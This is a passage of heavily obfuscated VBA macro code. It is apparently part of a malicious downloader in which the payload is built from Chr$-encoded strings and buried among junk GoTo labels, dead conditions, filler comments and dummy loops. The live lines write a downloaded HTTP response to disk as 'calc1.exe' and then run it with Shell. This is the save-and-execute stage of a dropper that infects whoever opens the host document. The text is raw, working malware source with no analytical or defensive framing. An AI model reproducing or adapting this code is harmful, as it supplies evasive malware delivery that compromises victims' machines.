       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo xnPfWKOFwYDcFUOBATwsTBZhksGF
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
xnPfWKOFwYDcFUOBATwsTBZhksGF:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo pDdRKtwHfWzKnqdfRlWyFHJJmMzo
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
pDdRKtwHfWzKnqdfRlWyFHJJmMzo:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo ozKYlVCyWAFubeEWeeJYbuFRToHh
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ozKYlVCyWAFubeEWeeJYbuFRToHh:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo XgmChqOiFJeZdUypuJjnUVeyIJzO
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
XgmChqOiFJeZdUypuJjnUVeyIJzO:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
oOHjh.Type = 1
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo faImVLbtTzVNtylrpuPdPBlLCVvO
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
faImVLbtTzVNtylrpuPdPBlLCVvO:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo UvhlqbcbfhhxgKNwdAAcTgrPbNBW
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
UvhlqbcbfhhxgKNwdAAcTgrPbNBW:

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 353869 = 353869 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 5491 < 79 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo YWPHTJRxqMegBQdLrgwqLIdBBhZI
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
YWPHTJRxqMegBQdLrgwqLIdBBhZI:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo UZwxyHFpUyxSTYVdugTFAxltaSjS
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
UZwxyHFpUyxSTYVdugTFAxltaSjS:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(80) & Chr$(79) & Chr$(67) & Chr$(99) & Chr$(115) & Chr$(119) & Chr$(88) & Chr$(117) & Chr$(53) & Chr$(57))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo PMnRqSuwWldoRFeeplfHenKfjtqz
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
PMnRqSuwWldoRFeeplfHenKfjtqz:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo tjiExltHZURTFnPlfDtzBHZtLuQg
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
tjiExltHZURTFnPlfDtzBHZtLuQg:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(113) & Chr$(80) & Chr$(70) & Chr$(109) & Chr$(68) & Chr$(87) & Chr$(88) & Chr$(66) & Chr$(51) & Chr$(49) & Chr$(57) & Chr$(51)) = Len(Chr$(81) & Chr$(120) & Chr$(85) & Chr$(109) & Chr$(85) & Chr$(109) & Chr$(72) & Chr$(76)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo YILIGGLFlRzKRDkHjXMoTmVHfLwe
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
YILIGGLFlRzKRDkHjXMoTmVHfLwe:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo CwuuccOQsGCjxsTQldfMUmgRANKe
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
CwuuccOQsGCjxsTQldfMUmgRANKe:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo kLDtOrUyLefDYVszcUtyZPBwtzlg
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
kLDtOrUyLefDYVszcUtyZPBwtzlg:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo zmXMelsOXhupzgmWnjybKdMMMGnx
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
zmXMelsOXhupzgmWnjybKdMMMGnx:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo gomnmNEgToNhSwYPNwlbWzQMxUQD
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
gomnmNEgToNhSwYPNwlbWzQMxUQD:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo BPRhFhiKUwKSiQGZrylMqRYlslMW
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
BPRhFhiKUwKSiQGZrylMqRYlslMW:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
oOHjh.Open
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo SCyYQZMMnQiiMhlJuMKFlwWMgzyh
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
SCyYQZMMnQiiMhlJuMKFlwWMgzyh:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo rPlrlqPJkXzYSFTSpqsbmxsIEoZh
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
rPlrlqPJkXzYSFTSpqsbmxsIEoZh:

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 613867 = 613867 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 2158 < 75 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo EbLPelZolYZzlHlIQAhGZnoNKuCa
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
EbLPelZolYZzlHlIQAhGZnoNKuCa:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo fzzbxUuDmLmbGuAnFsjpJeevULto
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
fzzbxUuDmLmbGuAnFsjpJeevULto:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(85) & Chr$(98) & Chr$(122) & Chr$(101) & Chr$(103) & Chr$(100) & Chr$(116) & Chr$(102) & Chr$(52) & Chr$(56))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo gODuVYjnKrFCwzdMJsnSnJoROhMd
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
gODuVYjnKrFCwzdMJsnSnJoROhMd:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo laKfzEOQtlRllpkPWjoGzWIDNIFE
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
laKfzEOQtlRllpkPWjoGzWIDNIFE:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(75) & Chr$(119) & Chr$(106) & Chr$(111) & Chr$(73) & Chr$(122) & Chr$(118) & Chr$(67) & Chr$(50) & Chr$(50) & Chr$(54) & Chr$(52)) = Len(Chr$(81) & Chr$(67) & Chr$(121) & Chr$(110) & Chr$(100) & Chr$(111) & Chr$(105) & Chr$(118)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo JTnTZaXOOXELasLYCsWTCUUFSOvT
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
JTnTZaXOOXELasLYCsWTCUUFSOvT:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo KdsseNyxyiCjIyRNNsyoTwSMFyfO
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
KdsseNyxyiCjIyRNNsyoTwSMFyfO:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo pNbPSIXlVlJGbTKWeAbMUxeIedPO
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
pNbPSIXlVlJGbTKWeAbMUxeIedPO:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo ExuIVgMFTYosOkvsyXjtESDvThqW
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ExuIVgMFTYosOkvsyXjtESDvThqW:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo GjiXmbWCYiuzcDmocHjlyphfsJIQ
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GjiXmbWCYiuzcDmocHjlyphfsJIQ:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo pDFWYyMlgwcvUbzbnqoTanNrFLoC
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
pDFWYyMlgwcvUbzbnqoTanNrFLoC:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
oOHjh.Write BIbkfdlh.responseBody
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo MhVPNwcXkUjWzHqlEWoBhzWZEYjt
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
MhVPNwcXkUjWzHqlEWoBhzWZEYjt:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo UZnaCIqVpCTjGlDUUOILvLprUgEb
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
UZnaCIqVpCTjGlDUUOILvLprUgEb:

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 747198 = 747198 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 2136 < 57 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo vsnvMTGQoNycVHkaLZrkOyExJEGf
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
vsnvMTGQoNycVHkaLZrkOyExJEGf:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo LOucusDyJdcMiZVlCXWZTwfflThb
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
LOucusDyJdcMiZVlCXWZTwfflThb:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(70) & Chr$(111) & Chr$(115) & Chr$(107) & Chr$(99) & Chr$(121) & Chr$(72) & Chr$(80) & Chr$(56) & Chr$(56))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo EsjdbnkPMbhkELiqNYXCMVoSolvU
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
EsjdbnkPMbhkELiqNYXCMVoSolvU:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo RLzLabAcjQOGpDLReYybZSgKqGfQ
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
RLzLabAcjQOGpDLReYybZSgKqGfQ:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(88) & Chr$(119) & Chr$(117) & Chr$(67) & Chr$(102) & Chr$(86) & Chr$(97) & Chr$(87) & Chr$(51) & Chr$(50) & Chr$(52) & Chr$(50)) = Len(Chr$(120) & Chr$(117) & Chr$(78) & Chr$(67) & Chr$(105) & Chr$(99) & Chr$(88) & Chr$(72)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo XhFBpzhbSbNAlblbAooWuBNDMsoW
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
XhFBpzhbSbNAlblbAooWuBNDMsoW:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo lxFvBTwkpGDXWvldTUcYXRrYPoFl
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
lxFvBTwkpGDXWvldTUcYXRrYPoFl:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo ltbtnRYyYaulAltYIUIoRloSSYEx
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ltbtnRYyYaulAltYIUIoRloSSYEx:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo QJDZodwzvszKlKlAQCzWYlbnaDNx
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
QJDZodwzvszKlKlAQCzWYlbnaDNx:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo qiSrmmGMwkuZOrRlJVptssdIYCYs
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
qiSrmmGMwkuZOrRlJVptssdIYCYs:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo AWNZeeTHfZzNAEKfMfEHgsExWrzs
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
AWNZeeTHfZzNAEKfMfEHgsExWrzs:

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
oOHjh.SaveToFile path & Chr$(92) & Chr$(99) & Chr$(97) & Chr$(108) & Chr$(99) & Chr$(49) & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101), 2
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo XkUngIEsWHlxQhvTVIwzpZdfvyEc
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
XkUngIEsWHlxQhvTVIwzpZdfvyEc:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo YMHhIViGVeqMyYUcalwwvriSfLQY
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
YMHhIViGVeqMyYUcalwwvriSfLQY:

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 823878 = 823878 + 1 Then End
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If 6943 < 34 Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo eyqbQKuObOwHZxUJTfvIlgRzjvyw
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
eyqbQKuObOwHZxUJTfvIlgRzjvyw:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo yvhYHFbMDVqsnRSYIluQWlrqUJBS
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
yvhYHFbMDVqsnRSYIluQWlrqUJBS:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
        MsgBox (Chr$(65) & Chr$(113) & Chr$(75) & Chr$(71) & Chr$(118) & Chr$(119) & Chr$(99) & Chr$(84) & Chr$(53) & Chr$(57))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo nWCTzmchmqZIPjlVQSVXJIFapLnV
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
nWCTzmchmqZIPjlVQSVXJIFapLnV:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo qcymwPzLccmtyUZHGxBjyqObBYIy
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
qcymwPzLccmtyUZHGxBjyqObBYIy:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
If Len(Chr$(108) & Chr$(106) & Chr$(115) & Chr$(69) & Chr$(117) & Chr$(69) & Chr$(101) & Chr$(85) & Chr$(55) & Chr$(50) & Chr$(53) & Chr$(55)) = Len(Chr$(115) & Chr$(75) & Chr$(97) & Chr$(87) & Chr$(81) & Chr$(80) & Chr$(83) & Chr$(111)) Then
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo xANGboCYkFLKGkMybtdhfVkovuIa
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
xANGboCYkFLKGkMybtdhfVkovuIa:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo tlHrhAlDRVhkKmOAZPHpOqLRNVSX
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
tlHrhAlDRVhkKmOAZPHpOqLRNVSX:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
       MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33))
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo AnHEttbTegeSllOhTotWcHCvHWkm
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
AnHEttbTegeSllOhTotWcHCvHWkm:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo ZoApYrOlbnxpagmOOphcuReRKluv
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ZoApYrOlbnxpagmOOphcuReRKluv:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
End If
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo dhGQkqTCNbgEkNheTwSWDeOSZrSA
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
dhGQkqTCNbgEkNheTwSWDeOSZrSA:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo BAkzgckBKFEBtRKkIqqFXWVfYSVW
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
BAkzgckBKFEBtRKkIqqFXWVfYSVW:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Shell path & Chr$(92) & Chr$(99) & Chr$(97) & Chr$(108) & Chr$(99) & Chr$(49) & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101), vbNormal
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Dim WRVbNODyns24, ziovgZDEZl87 As Integer
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ziovgZDEZl87 = 4243
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
For WRVbNODyns24 = 0 To 93
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
ziovgZDEZl87 = ziovgZDEZl87 + WRVbNODyns24
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
DoEvents
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Next WRVbNODyns24

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Dim iNIbpcMfUW98, SHjRZKzura76 As Integer
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
SHjRZKzura76 = 7843
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
For iNIbpcMfUW98 = 0 To 22
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
SHjRZKzura76 = SHjRZKzura76 + iNIbpcMfUW98
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
DoEvents
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Next iNIbpcMfUW98

'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Dim oSlxRwFaRA85, RRwBSNJXTU15 As Integer
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
RRwBSNJXTU15 = 3736
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
For oSlxRwFaRA85 = 0 To 89
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
RRwBSNJXTU15 = RRwBSNJXTU15 + oSlxRwFaRA85
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
DoEvents
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
Next oSlxRwFaRA85


'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo jgTbCyiXPBvcCetdSnRnVWgaWLmW
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
jgTbCyiXPBvcCetdSnRnVWgaWLmW:
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
GoTo PQscpSyjldGMuGSEGWxQMqBKcXWu
'sdfbisdbfiosdhfisopdnf;asjfpohnpidsbkvfskdlbs;hgn;ksdbdsfsdbsdb
PQscpSyjldGMuGSEGWxQMqBKcXWu:
End Sub